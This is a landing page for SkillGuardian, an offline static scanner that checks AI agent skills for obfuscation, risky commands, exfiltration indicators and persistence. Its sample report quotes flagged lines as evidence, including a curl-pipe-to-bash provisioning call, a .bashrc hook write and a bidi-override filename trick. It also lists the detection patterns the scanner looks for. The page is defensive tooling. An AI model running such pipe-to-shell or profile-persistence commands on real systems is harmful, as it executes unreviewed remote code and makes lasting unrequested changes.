SkillGuardian — safely scan AI agent skills before they run

Static, offline-friendly inspection for Markdown + TypeScript + shell skills. Detects obfuscation, risky commands, suspicious URLs, install/persistence behavior, and missing purpose — with evidence-backed reports.

View on GitHub Read the docs
  • ✅ No AI required (static analysis)
  • 🔒 Offline scanning (network only for repo fetch)
  • 📎 Evidence-first reporting (file/line/snippet)
  • 🧱 Safe archive extraction (zip-slip / bombs / symlinks)
skillguardian
# Scan a single markdown skill
$ skillguardian scan ./skills/ssh-cleanup.md \
    --format text,json --output ./report

RISK SCORE: 82/100  (HIGH)
Capabilities: exec ✅  network ✅  install ✅  persistence ⚠️  obfuscation ✅
Top finding: EXEC-001 critical — pipe-to-shell detected (skills/install.md:42)

What it detects

Six categories of static analysis — no execution, no AI, just pattern-matched evidence.

🔍

Hidden character detection

Flags zero-width chars, bidi overrides, suspicious encodings, high-entropy blobs.

Obfuscated code hides intent from human review.

⚙️

Risky command patterns

Detects curl|sh, wget|bash, encoded PowerShell, child_process, eval, heredoc exec chains.

Arbitrary execution is the top vector for supply-chain attacks.

🌐

Network & exfil indicators

URLs, webhooks, tunnels, IP literals, "token/secret near network calls".

Unexpected network access can leak sensitive data.

📦

Install & supply chain

Detects package installs, lifecycle scripts, unpinned dependencies.

Unvetted installs are a common malware entry point.

🔒

Persistence & system modification

Cron/systemd/launch agents, shell profile edits, sensitive path writes.

Persistent changes survive reboots and are hard to undo.

📝

Purpose & transparency checks

Warns if skill doesn't clearly state what it does, or gives dangerous "just run this" instructions.

Skills should be transparent about their actions.

How it works

1

Acquire safely

Scan local files, folders, archives, or fetch repos (network only for fetch).

2

Inspect offline

Parse Markdown (including fenced code blocks) + scan TS/shell with rule engine.

3

Report clearly

Risk score + observed capabilities + exact evidence + recommended actions.

"SkillGuardian never executes the skill. It only reads and analyzes."

From one-off checks to pipeline gates

Run SkillGuardian locally before installing a skill, or integrate it into CI to block risky additions automatically.

  • Single file or whole directory
  • Archives: zip/tar/tgz with extraction protections
  • GitHub repo scanning (tarball fetch, no submodules by default)
  • CI exit codes: --fail-on high to gate merges
# Scan a single markdown skill
$ skillguardian scan ./skills/ssh-cleanup.md \
    --format text,json --output ./report

# Scan a directory (recursive) and fail CI if anything is high+
$ skillguardian scan ./skills/ --fail-on high \
    --format sarif --output ./report

Report formats

Choose the format that fits your workflow.

JSON (canonical) SARIF (GitHub code scanning) Text (CLI summary) Markdown (docs) HTML (shareable artifact)

🛡️ SkillGuardian Scan Report

Target: demo_showcase (sample) Type: directory Scanned: 2026-02-06T00:00:00Z

⚠️ Risk Assessment

100
Critical

📊 Severity Summary

4
Critical
69
High
37
Medium
24
Low
0
Info

🔍 Observed Capabilities

🌐
✓ Network
NET-002, NET-003, NET-004
⚡
✓ Execution
EXEC-001, EXEC-002, EXEC-003
📦
✓ Install
SUP-002, SUP-003, SUP-001
💾
✓ Persistence
PER-001, PER-002, PER-003
🔑
✓ Secrets Present
SEC-001, SEC-002, SEC-003
🔒
✓ Obfuscation
OBF-002, OBF-001, OBF-003

🔎 Findings (sample: 4 of 134)

  • 🔴 Critical EXEC-001 agent.ts:62
    Dangerous pipe-to-shell pattern detected: curl | shell
    exec('curl -sL https://cdn.example.com/provision.sh | bash');
    💡 Download scripts first, review them, then execute separately.
  • 🔴 Critical SEC-001 deploy-key.pem:1
    Private key material detected
    [REDACTED: private key header]
    💡 Remove private keys from source and use secure key management.
  • 🟠 High PER-001 README.md:67
    Write to shell profile detected: .bashrc
    echo 'source /opt/example/shell-hook.sh' >> ~/.bashrc
    💡 Review profile modifications and ensure they're necessary and safe.
  • 🟠 High OBF-002 utils.ts:17
    Unicode bidirectional override characters detected
    // [U+202E]txt.exe[U+202C] looks like exe.txt
    💡 Remove bidi override characters. These can visually reorder text.

Designed to be safe to run

  • No code execution. Ever.
  • Offline analysis by default; network only for repo fetch.
  • Safe extraction limits: path traversal, symlinks, bombs, file count/size ceilings.
  • Secrets redaction in reports.
  • Deterministic results (same inputs → same findings).

FAQ

Do you use AI/LLMs?

No. SkillGuardian uses deterministic static analysis — pattern matching and rule engines. No models, no API calls, no hallucinations.

Can it run offline?

Yes. Network access is only used when fetching a remote GitHub repository. All analysis is performed locally.

What file types are supported?

Markdown (.md), TypeScript (.ts/.tsx), and shell scripts (.sh/.bash). Markdown fenced code blocks are parsed and scanned individually.

Will it flag legitimate skills?

Possibly. SkillGuardian reports observed capabilities with evidence — it's up to you to decide if the behavior is expected. It's a guiding light, not a blocker (unless you configure --fail-on).

How do I use this in GitHub Actions?

Add a step that runs skillguardian scan . --format sarif --fail-on high. The process exits with code 1 if findings meet or exceed your threshold, gating the merge.

Ready to scan before you run?

View SkillGuardian on GitHub